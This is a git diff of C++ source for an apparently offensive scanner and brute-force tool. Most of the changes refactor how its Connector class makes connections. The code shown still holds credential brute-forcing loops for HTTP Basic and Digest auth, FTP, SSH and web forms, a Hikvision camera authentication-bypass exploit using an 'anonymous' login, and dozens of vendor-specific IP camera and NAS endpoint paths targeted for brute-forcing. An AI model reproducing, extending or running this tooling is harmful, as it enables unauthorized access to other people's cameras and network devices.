diff --git a/BasicAuth.cpp b/BasicAuth.cpp index 5178efe..d41fdb7 100644 --- a/BasicAuth.cpp +++ b/BasicAuth.cpp @@ -39,25 +39,21 @@ inline bool commenceHikvisionEx1(const char *ip, const int port, bool digestMode std::string lpString = string("anonymous") + ":" + string("\177\177\177\177\177\177"); string buffer; - int res = Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString, digestMode); + Connector con; + int res = con.nConnect(ip, port, &buffer, NULL, NULL, &lpString, digestMode); if (res > 0) { if (BA::checkOutput(&buffer, ip, port) == 1) return 1; } return 0; } -lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) { - string buffer; +lopaStr BA::BABrute(const char *ip, const int port, bool digestMode, const std::string *buff) { string lpString; lopaStr lps = {"UNKNOWN", "", ""}; int passCounter = 0; int res = 0; - res = Connector::nConnect(ip, port, &buffer); - if (res == -2) return lps; - - int isDig = 0; - isDig = Utils::isDigest(&buffer); + int isDig = Utils::isDigest(buff); if (isDig == -1) { stt->doEmitionFoundData("No 401 detected - " + QString(ip) + ":" + QString::number(port) + ""); @@ -79,6 +75,8 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) { }; } + std::string buffer; + if (commenceHikvisionEx1(ip, port, digestMode)) { stt->doEmitionGreenFoundData("Hikvision exploit triggered! (" + QString(ip) + ":" + @@ -95,7 +93,8 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) { lpString = string(loginLst[i]) + ":" + string(passLst[j]); - res = Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString, digestMode); + Connector con; + res = con.nConnect(ip, port, &buffer, NULL, NULL, &lpString, digestMode); if (res == -2) return lps; else if (res != -1) { res = checkOutput(&buffer, ip, port); @@ -125,14 +124,14 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) { return lps; } -lopaStr BA::BALobby(const char *ip, const int port, bool digestMode) { +lopaStr BA::BALobby(const char *ip, const int port, bool digestMode, const std::string *buffer) { if(gMaxBrutingThreads > 0) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); ++baCount; ++BrutingThrds; - const lopaStr &lps = BABrute(ip, port, digestMode); + const lopaStr &lps = BABrute(ip, port, digestMode, buffer); --BrutingThrds; return lps; diff --git a/BasicAuth.h b/BasicAuth.h index 5f40f1d..44c52cb 100644 --- a/BasicAuth.h +++ b/BasicAuth.h @@ -8,11 +8,11 @@ class BA { private: - static lopaStr BABrute(const char *ip, const int port, bool digestMode); + static lopaStr BABrute(const char *ip, const int port, bool digestMode, const std::string *buffer); public: static int checkOutput(const string *buffer, const char *ip, const int port); - static lopaStr BALobby(const char *ip, const int port, bool digestMode); + static lopaStr BALobby(const char *ip, const int port, bool digestMode, const std::string *buffer); }; #endif // BASICAUTH_H diff --git a/CheckKey_Th.cpp b/CheckKey_Th.cpp index ca6dddc..02f01f3 100644 --- a/CheckKey_Th.cpp +++ b/CheckKey_Th.cpp @@ -53,16 +53,18 @@ int KeyCheckerMain() std::vector headerVector; headerVector.push_back("X-Nescav3: True"); - std::string buffer; - Connector::nConnect((std::string(trcSrv) + std::string(trcScr)).c_str(), std::stoi(trcSrvPortLine), &buffer, NULL, &headerVector); + std::string buffer; + Connector con; + con.nConnect((std::string(trcSrv) + std::string(trcScr)).c_str(), std::stoi(trcSrvPortLine), &buffer, NULL, &headerVector); int hostStringIndex = buffer.find("\r\n\r\n"); if(hostStringIndex != -1) { int s = buffer.find("http://", hostStringIndex); int e = buffer.find('/', s + 8); - std::string url = buffer.substr(s, e - s); - Connector::nConnect((url + std::string("/api/checkaccount?key=") + std::string(trcPersKey)).c_str(), + std::string url = buffer.substr(s, e - s); + Connector con; + con.nConnect((url + std::string("/api/checkaccount?key=") + std::string(trcPersKey)).c_str(), std::stoi(trcSrvPortLine), &buffer, NULL, &headerVector); if(Utils::ustrstr(buffer, std::string("202 Accepted")) != -1) { diff --git a/Connector.h b/Connector.h index f236bfe..6bd1fe1 100644 --- a/Connector.h +++ b/Connector.h @@ -13,7 +13,7 @@ class Connector { public: - static int nConnect(const char* ip, const int port, std::string *buffer, + int nConnect(const char* ip, const int port, std::string *buffer, const char *postData = NULL, const std::vector *customHeaders = NULL, const std::string *lpString = NULL, @@ -23,6 +23,6 @@ public: // const std::vector *customHeaders = NULL, // const std::string *lpString = NULL, // bool digestMode = false); - static int connectToPort(char *ip, int port); + int connectToPort(char *ip, int port); }; #endif // CONNECTOR_H diff --git a/FTPAuth.cpp b/FTPAuth.cpp index 86cdc4f..9afba36 100644 --- a/FTPAuth.cpp +++ b/FTPAuth.cpp @@ -42,7 +42,8 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) { ZeroMemory(nip, 128); sprintf(nip, "ftp://%s", ip); - res = Connector::nConnect(nip, port, &buffer, NULL, NULL, &lpString); + Connector con; + res = con.nConnect(nip, port, &buffer, NULL, NULL, &lpString); if (res == -2) return lps; else if (res != -1) { if (!globalScanFlag) return lps; diff --git a/FileDownloader.cpp b/FileDownloader.cpp index aaeb4d8..9671afd 100644 --- a/FileDownloader.cpp +++ b/FileDownloader.cpp @@ -27,8 +27,9 @@ std::string getLM(std::string *buffer) { } void checkWeb(const char *fileName, std::string *oldLM) { - std::string buffer; - Connector::nConnect(std::string("http://nesca.d3w.org/files/" + std::string(fileName)).c_str(), 80, &buffer); + std::string buffer; + Connector con; + con.nConnect(std::string("http://nesca.d3w.org/files/" + std::string(fileName)).c_str(), 80, &buffer); const std::string &lm = getLM(&buffer); if(lm.size() == 0) return; diff --git a/IPCAuth.cpp b/IPCAuth.cpp index cb0cee8..ab9fe9e 100644 --- a/IPCAuth.cpp +++ b/IPCAuth.cpp @@ -175,8 +175,9 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC) } std::string buffer; - if(doPost) res = Connector::nConnect(request, port, &buffer, postData); - else res = Connector::nConnect(request, port, &buffer); + Connector con; + if (doPost) res = con.nConnect(request, port, &buffer, postData); + else res = con.nConnect(request, port, &buffer); if (res == -2) return lps; else if (res != -1) { diff --git a/MainStarter.cpp b/MainStarter.cpp index 5a59c17..d2378c1 100644 --- a/MainStarter.cpp +++ b/MainStarter.cpp @@ -911,10 +911,11 @@ void _connect() { ++ipCounter; ++cons; + Connector con; for (int i = 0; i < MainStarter::portVector.size(); ++i) { if (!globalScanFlag) break; - if (Connector::connectToPort((char*)ip.c_str(), MainStarter::portVector[i]) == -2) break; + if (con.connectToPort((char*)ip.c_str(), MainStarter::portVector[i]) == -2) break; }; --cons; stt->doEmitionUpdateArc(gTargets); diff --git a/SSHAuth.cpp b/SSHAuth.cpp index 30e1d21..29e2960 100644 --- a/SSHAuth.cpp +++ b/SSHAuth.cpp @@ -90,8 +90,9 @@ int _sshConnect(const char *user, const char *pass, const char *host, int port) char _get_ssh_banner(const char *ip, int port) { char recvBuff[256] = {0}; - std::string buffer; - Connector::nConnect(ip, port, &buffer); + std::string buffer; + Connector con; + con.nConnect(ip, port, &buffer); int sz = buffer.size(); diff --git a/WebformWorker.cpp b/WebformWorker.cpp index ce9d57f..09a6e1c 100644 --- a/WebformWorker.cpp +++ b/WebformWorker.cpp @@ -80,8 +80,9 @@ lopaStr WFClass::doGetCheck(const char *ip, char nip[256] = {0}; sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, login, passVal, pass); - std::string buffer; - if(Connector::nConnect(nip, port, &buffer) <= 0) return result; + std::string buffer; + Connector con; + if(con.nConnect(nip, port, &buffer) <= 0) return result; if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(login) + ":" + QString(pass) + @@ -134,7 +135,8 @@ lopaStr WFClass::doPostCheck(const char *ip, sprintf(postData, "%s=%s&%s=%s", userVal, login, passVal, pass); std::string buffer; - if(Connector::nConnect(nip, port, &buffer, postData) <= 0) return result; + Connector con; + if (con.nConnect(nip, port, &buffer, postData) <= 0) return result; if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(login) + ":" + QString(pass) + "; - Progress: (" + diff --git a/finder.cpp b/finder.cpp index 73efbaf..df79209 100644 --- a/finder.cpp +++ b/finder.cpp @@ -1223,9 +1223,12 @@ void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char int _specBrute(const char *ip, int port, char *finalstr, int flag, - char *path, char *comment, char *cp, int size, const std::string *buffer = NULL) + char *path, char *comment, char *cp, int size, const std::string *buffer) { - const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(), port, (strcmp(comment, "[DIGEST]") == 0 ? true : false)); + const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(), + port, + (strcmp(comment, "[DIGEST]") == 0 ? true : false), + buffer); if (strcmp(lps.other, "404") == 0) { @@ -1471,7 +1474,8 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st std::unique_ptr nip(new char[strlen(tempIP) + strlen(tempPath) + 1]); sprintf(nip.get(), "%s%s", tempIP, tempPath); std::string buffer; - int cSz = Connector::nConnect(nip.get(), tempPort, &buffer); + Connector con; + int cSz = con.nConnect(nip.get(), tempPort, &buffer); if(cSz > -1) { @@ -1587,8 +1591,9 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st std::unique_ptr nip(new char[strlen(tempIP) + strlen(tempPath) + 1]); sprintf(nip.get(), "%s%s", tempIP, tempPath); - std::string buffer; - int cSz = Connector::nConnect(nip.get(), tempPort, &buffer); + std::string buffer; + Connector con; + int cSz = con.nConnect(nip.get(), tempPort, &buffer); if(cSz > -1) { @@ -1655,8 +1660,9 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st std::unique_ptr nip(new char[strlen(tempIP) + strlen(tempPath) + 1]); sprintf(nip.get(), "%s%s", tempIP, tempPath); - std::string buffer; - int cSz = Connector::nConnect(nip.get(), tempPort, &buffer); + std::string buffer; + Connector con; + int cSz = con.nConnect(nip.get(), tempPort, &buffer); if(cSz > -1) { @@ -1717,8 +1723,9 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st { std::unique_ptr nip(new char[strlen(ip) + strlen(str) + 1]); sprintf(nip.get(), "%s%s", ip, str); - std::string buffer; - int cSz = Connector::nConnect(nip.get(), port, &buffer); + std::string buffer; + Connector con; + int cSz = con.nConnect(nip.get(), port, &buffer); if(cSz > -1) { @@ -2383,9 +2390,11 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex { int rh = header(ip, port, buffcpy->c_str(), lx, &ps, &redirStrLst, size); strcpy(cp, ps.codepage); + if (rh == -1) { return -1; } + if (rh <= -2) { flag = ps.flag; @@ -2451,47 +2460,47 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex } else if (flag == 21) //Eyeon { - _specBrute(ip, port, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, size); + _specBrute(ip, port, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, size, buffcpy); } else if (flag == 22) //IP Camera control { - _specBrute(ip, port, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, size); + _specBrute(ip, port, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, size, buffcpy); } else if (flag == 23) //Network Camera BB-SC384 { - _specBrute(ip, port, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, size); + _specBrute(ip, port, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, size, buffcpy); } else if (flag == 24) //Network Camera VB-M40 { - _specBrute(ip, port, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, size); + _specBrute(ip, port, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, size, buffcpy); } else if (flag == 25) //Panasonic Unibrowser-camera { - _specBrute(ip, 60002, "Panasonic Unibrowser-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, size); + _specBrute(ip, 60002, "Panasonic Unibrowser-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, size, buffcpy); } else if (flag == 26) //Sony Network Camera { - _specBrute(ip, port, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, size); + _specBrute(ip, port, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, size, buffcpy); } else if (flag == 27) //UA Network Camera { - _specBrute(ip, port, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, size); + _specBrute(ip, port, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, size, buffcpy); } else if (flag == 28) //Network Camera VB-M40 { - _specBrute(ip, port, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, size); + _specBrute(ip, port, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, size, buffcpy); } else if (flag == 29) //LG Smart IP Device { - _specBrute(ip, port, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, size); + _specBrute(ip, port, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, size, buffcpy); } else if (flag == 30) //NAS { - _specBrute(ip, port, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, size); + _specBrute(ip, port, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, size, buffcpy); } else if (flag == 31) //ip cam { - _specBrute(ip, port, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, size); + _specBrute(ip, port, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, size, buffcpy); } else if (flag == 32) //IPC WEB ip cam { @@ -2503,8 +2512,8 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex } else if (flag == 34) //Hikvision ip cam { - if (_specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, size) == -1){ - _specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/HIK/userCheck", "Basic Authorization", cp, size); + if (_specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, size, buffcpy) == -1){ + _specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/HIK/userCheck", "Basic Authorization", cp, size, buffcpy); } } else if (flag == 35) //EasyCam @@ -2514,12 +2523,13 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex else if (flag == 36) //Panasonic Cam { _specBrute(ip, port, QString("[Panasonic] IP Camera (" + QString(ip) + ":" + QString::number(port) + ")").toLocal8Bit().data(), flag, - "/config/index.cgi", "Basic Authorization", cp, size); + "/config/index.cgi", "Basic Authorization", cp, size, buffcpy); stt->doEmitionYellowFoundData("[PaCr]Panasonic cam detected, crawling started."); std::string buff; - Connector::nConnect(std::string(std::string(ip) + "/config/cam_portal.cgi").c_str(), port, &buff); + Connector con; + con.nConnect(std::string(std::string(ip) + "/config/cam_portal.cgi").c_str(), port, &buff); int nPort = port; for (int i = 0; i < 16; ++i) { std::string &cam_link_data = Utils::getStrValue(buff, "cam_link[" + std::to_string(i) + "]", ";"); @@ -2536,7 +2546,7 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex _specBrute(newIP.c_str(), nPort, QString("[Panasonic] IP Camera (" + QString(newIP.c_str()) + ":" + QString::number(nPort) + ")").toLocal8Bit().data(), flag, - (char*)newPath.c_str(), "Basic Authorization", cp, size); + (char*)newPath.c_str(), "Basic Authorization", cp, size, buffcpy); } } else stt->doEmitionRedFoundData("[Panasonic Cam URL] Cannot extract data " + @@ -2548,7 +2558,7 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex } else if (flag == 37) //Panasonic Cam { - _specBrute(ip, port, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, size); + _specBrute(ip, port, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, size, buffcpy); } else if (flag == 38) //Foscam { @@ -2556,11 +2566,11 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex } else if (flag == 39) //EagleEye { - _specBrute(ip, port, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, size); + _specBrute(ip, port, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, size, buffcpy); } else if (flag == 40) //Network Camera VB-C?? { - _specBrute(ip, port, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, size); + _specBrute(ip, port, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, size, buffcpy); } else if (flag == 41) //AVIOSYS-camera { @@ -2568,19 +2578,19 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex } else if (flag == 42) //NW_camera { - _specBrute(ip, port, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, size); + _specBrute(ip, port, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, size, buffcpy); } else if (flag == 43) //NW_camera { - _specBrute(ip, port, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, size); + _specBrute(ip, port, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, size, buffcpy); } else if (flag == 44) //Hikvision ip cam 2 { - _specBrute(ip, port, "[Hikvision] IP Camera 2", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, size); + _specBrute(ip, port, "[Hikvision] IP Camera 2", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, size, buffcpy); } else if (flag == 45) //Panasonic ip cam { - _specBrute(ip, port, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, size); + _specBrute(ip, port, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, size, buffcpy); } else if (flag == 46) //Buffalo disk { @@ -2600,7 +2610,7 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex } else if (flag == 50) //IP Camera { - _specBrute(ip, port, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, size); + _specBrute(ip, port, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, size, buffcpy); } else if (flag == 51) //MASPRO { @@ -2620,50 +2630,50 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex } else if (flag == 55) //QCam { - _specBrute(ip, port, "IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, size); + _specBrute(ip, port, "IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, size, buffcpy); } else if (flag == 20) //AXIS Camera { - if (_specBrute(ip, port, "AXIS Camera", flag, "/mjpg/video.mjpg", "Basic Authorization", cp, size) == -1) { - if (_specBrute(ip, port, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size) == -1) { - _specBrute(ip, port, "AXIS Camera", flag, "/view/viewer_index.shtml?", "Basic Authorization", cp, size); + if (_specBrute(ip, port, "AXIS Camera", flag, "/mjpg/video.mjpg", "Basic Authorization", cp, size, buffcpy) == -1) { + if (_specBrute(ip, port, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size, buffcpy) == -1) { + _specBrute(ip, port, "AXIS Camera", flag, "/view/viewer_index.shtml?", "Basic Authorization", cp, size, buffcpy); } } } else if (flag == 19) //reecam cameras { - _specBrute(ip, port, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, size); + _specBrute(ip, port, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, size, buffcpy); } else if (flag == 18) //linksys camera { - _specBrute(ip, port, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, size); + _specBrute(ip, port, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, size, buffcpy); } else if (flag == 17) //Real-time IP Camera Monitoring System { - _specBrute(ip, port, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, size); + _specBrute(ip, port, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, size, buffcpy); } else if (flag == 11) { - _specBrute(ip, port, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, size); + _specBrute(ip, port, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, size, buffcpy); } else if (flag == 12) { - _specBrute(ip, port, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, size); + _specBrute(ip, port, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, size, buffcpy); } else if (flag == 13) { - _specBrute(ip, port, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, size); + _specBrute(ip, port, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, size, buffcpy); } else if (flag == 14) { - _specBrute(ip, port, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, size); + _specBrute(ip, port, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, size, buffcpy); } else if (flag == 15) //For HFS { char log[512] = { 0 }; ++AnomC1; - const lopaStr &lps = BA::BALobby((string(ip) + "/~login").c_str(), port, false); + const lopaStr &lps = BA::BALobby((string(ip) + "/~login").c_str(), port, false, buffcpy); sprintf(log, "[HFS]:%s:%d T: %s Pass: %s:%s", ip, port, ip, port, finalstr, lps.login, lps.pass); @@ -2673,11 +2683,11 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex } else if (flag == 1) { - _specBrute(ip, port, finalstr, flag, baPath, "[NORMAL]", cp, size); + _specBrute(ip, port, finalstr, flag, baPath, "[NORMAL]", cp, size, buffcpy); } else if (flag == 101) { - _specBrute(ip, port, finalstr, flag, baPath, "[DIGEST]", cp, size); + _specBrute(ip, port, finalstr, flag, baPath, "[DIGEST]", cp, size, buffcpy); } else if (flag == 10) { diff --git a/msgcheckerthread.cpp b/msgcheckerthread.cpp index 14d8ad0..0744d5c 100644 --- a/msgcheckerthread.cpp +++ b/msgcheckerthread.cpp @@ -16,7 +16,9 @@ void _getNewMsg() std::string buffer; std::vector headerVector {"X-Nescav3: True"}; - Connector::nConnect(request, 80, &buffer, NULL, &headerVector); + + Connector con; + con.nConnect(request, 80, &buffer, NULL, &headerVector); char *ptr1 = NULL; if(buffer.size() > 0) diff --git a/vercheckerthread.cpp b/vercheckerthread.cpp index f2c24b8..59fba17 100644 --- a/vercheckerthread.cpp +++ b/vercheckerthread.cpp @@ -9,8 +9,9 @@ void _checkVer() while(true) { const char request[64] = {"http://nesca.d3w.org/version"}; std::string buffer; - std::vector headerVector {"X-Nescav3: True"}; - Connector::nConnect(request, 80, &buffer, NULL, &headerVector); + std::vector headerVector{ "X-Nescav3: True" }; + Connector con; + con.nConnect(request, 80, &buffer, NULL, &headerVector); char *ptr1 = NULL; if(buffer.size() > 0) diff --git a/version b/version index 441b1d8..5adfb60 100644 --- a/version +++ b/version @@ -1 +1 @@ -24B9C-79E \ No newline at end of file +24B9D-DD \ No newline at end of file